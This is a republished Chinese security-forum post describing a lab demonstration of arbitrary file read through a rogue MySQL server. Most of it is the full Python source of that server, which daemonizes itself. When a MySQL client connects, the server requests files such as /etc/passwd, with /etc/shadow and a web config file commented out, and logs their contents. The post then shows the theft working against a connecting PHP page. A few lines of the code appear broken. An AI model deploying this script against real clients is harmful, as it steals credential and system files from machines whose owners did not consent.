mysql任意文件读取
2020-03-25 18:13:21 Author: forum.90sec.com(查看原文) 阅读量:345 收藏

实验部署

kali ip : 192.168.43.227 ##我的vps过期了,但是亲测可行

win7 ip: 192.168.43.87 + phpstudy

实验内容

我们先来看下脚本

#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
 


PORT = 3306
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (

#     r'd:\axcx_mitu\StudentPortalSysFolder\Conf\config.php',
      r'/etc/passwd

#    r'c:\windows\system32\drivers\etc\hosts',

#    '/etc/shadow',

)

 

 

#================================================

#=======No need to change after this lines=======

#================================================

 

__author__ = 'Gifts'

 

def daemonize():

    import os, warnings

    if os.name != 'posix':

        warnings.warn('Cant create daemon on non-posix system')

       return

 

    if os.fork(): os._exit(0)

    os.setsid()

    if os.fork(): os._exit(0)

    os.umask(0o022)

    null=os.open('/dev/null', os.O_RDWR)

    for i in xrange(3):

        try:

            os.dup2(null, i)

        except OSError as e:

            if e.errno != 9: raise

    os.close(null)

 

 

class LastPacket(Exception):

    pass

 

 

class OutOfOrder(Exception):

    pass

 

 

class mysql_packet(object):

    packet_header = struct.Struct('<Hbb')

    packet_header_long = struct.Struct('<Hbbb')

    def __init__(self, packet_type, payload):

        if isinstance(packet_type, mysql_packet):

            self.packet_num = packet_type.packet_num + 1

        else:

            self.packet_num = packet_type

        self.payload = payload

 

    def __str__(self):

        payload_len = len(self.payload)

        if payload_len < 65536:

            header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)

        else:

            header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

 

        result = "{0}{1}".format(

            header,

            self.payload

        )

        return result

 

    def __repr__(self):

        return repr(str(self))

 

    @staticmethod

    def parse(raw_data):

        packet_num = ord(raw_data[0])

        payload = raw_data[1:]

 

        return mysql_packet(packet_num, payload)

 

 

class http_request_handler(asynchat.async_chat):

 

    def __init__(self, addr):

        asynchat.async_chat.__init__(self, sock=addr[0])

        self.addr = addr[1]

        self.ibuffer = []

        self.set_terminator(3)

        self.state = 'LEN'

        self.sub_state = 'Auth'

        self.logined = False

        self.push(

            mysql_packet(

                0,

                "".join((

                    '\x0a',  # Protocol

                    '3.0.0-Evil_Mysql_Server' + '\0',  # Version

                    #'5.1.66-0+squeeze1' + '\0',

                    '\x36\x00\x00\x00',  # Thread ID

                    'evilsalt' + '\0',  # Salt

                    '\xdf\xf7',  # Capabilities

                    '\x08',  # Collation

                    '\x02\x00',  # Server Status

                    '\0' * 13,  # Unknown

                    'evil2222' + '\0',

                ))

            )

        )

 

        self.order = 1

        self.states = ['LOGIN', 'CAPS', 'ANY']

 

    def push(self, data):

        log.debug('Pushed: %r', data)

        data = str(data)

        asynchat.async_chat.push(self, data)

 

    def collect_incoming_data(self, data):

        log.debug('Data recved: %r', data)

        self.ibuffer.append(data)

 

    def found_terminator(self):

        data = "".join(self.ibuffer)

        self.ibuffer = []

 

        if self.state == 'LEN':

            len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1

            if len_bytes < 65536:

                self.set_terminator(len_bytes)

                self.state = 'Data'

            else:

                self.state = 'MoreLength'

        elif self.state == 'MoreLength':

            if data[0] != '\0':

                self.push(None)

                self.close_when_done()

            else:

                self.state = 'Data'

        elif self.state == 'Data':

            packet = mysql_packet.parse(data)

            try:

                if self.order != packet.packet_num:

                    raise OutOfOrder()

                else:

                    # Fix ?

                    self.order = packet.packet_num + 2

                if packet.packet_num == 0:

                    if packet.payload[0] == '\x03':

                        log.info('Query')

 

                        filename = random.choice(filelist)

                        PACKET = mysql_packet(

                            packet,

                            '\xFB{0}'.format(filename)

                        )

                        self.set_terminator(3)

                        self.state = 'LEN'

                        self.sub_state = 'File'

                        self.push(PACKET)

                    elif packet.payload[0] == '\x1b':

                        log.info('SelectDB')

                        self.push(mysql_packet(

                            packet,

                            '\xfe\x00\x00\x02\x00'

                        ))

                        raise LastPacket()

                    elif packet.payload[0] in '\x02':

                        self.push(mysql_packet(

                            packet, '\0\0\0\x02\0\0\0'

                        ))

                        raise LastPacket()

                    elif packet.payload == '\x00\x01':

                        self.push(None)

                        self.close_when_done()

                    else:

                        raise ValueError()

                else:

                    if self.sub_state == 'File':

                        log.info('-- result')

                        log.info('Result: %r', data)

 

                        if len(data) == 1:

                            self.push(

                                mysql_packet(packet, '\0\0\0\x02\0\0\0')

                            )

                            raise LastPacket()

                        else:

                            self.set_terminator(3)

                            self.state = 'LEN'

                            self.order = packet.packet_num + 1

 

                    elif self.sub_state == 'Auth':

                        self.push(mysql_packet(

                            packet, '\0\0\0\x02\0\0\0'

                        ))

                        raise LastPacket()

                    else:

                        log.info('-- else')

                        raise ValueError('Unknown packet')

            except LastPacket:

                log.info('Last packet')

                self.state = 'LEN'

                self.sub_state = None

                self.order = 0

               self.set_terminator(3)

            except OutOfOrder:

                log.warning('Out of order')

                self.push(None)

                self.close_when_done()

        else:

            log.error('Unknown state')

            self.push('None')

            self.close_when_done()

 

 

class mysql_listener(asyncore.dispatcher):

    def __init__(self, sock=None):

        asyncore.dispatcher.__init__(self, sock)

 

        if not sock:

            self.create_socket(socket.AF_INET, socket.SOCK_STREAM)

            self.set_reuse_addr()

            try:

                self.bind(('', PORT))

            except socket.error:

                exit()

 

            self.listen(5)

 

    def handle_accept(self):

        pair = self.accept()

 

        if pair is not None:

            log.info('Conn from: %r', pair[1])

            tmp = http_request_handler(pair)

 
z = mysql_listener()

daemonize()

asyncore.loop()

可以设置你想读取的文件

我们把脚本放到我们linux主机运行

可以看到伪造了一个mysql客户端

用户密码分别为root

image

这里是我们想读取的文件

image

假设我们已经有服务器权限了,但是权限很低,我们可以上传一个可以连接数据库的php界面

image

这里分别填入kali ip 192.168.43.227 username root pass root

点击登录,登录成功。

image

我们现在返回运行脚本的目录,下面会多一个mysql.log,打开看一下是否读取到了文件

image

验证:

image

读取成功,我们可以看一下wireshark抓到了什么

image

这个密码是mysql-sha1加密

mysql加密分为

MYSQL数据库的认证密码有两种方式,MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密,MYSQL数据库中自带Old_Password(str)和Password(str)函数,它们均可以在MYSQL数据库里进行查询,前者是MYSQL323加密,后者是MYSQLSHA1方式加密。

这种加密是16位

我们这里采用的就是mysqlsha1加密,40位密码

image

image

握手包。

实验结束

参考连接:https://www.cnblogs.com/phantom0308/articles/7295418.html


文章来源: https://forum.90sec.com/t/topic/911/1
如有侵权请联系:admin#unsafe.sh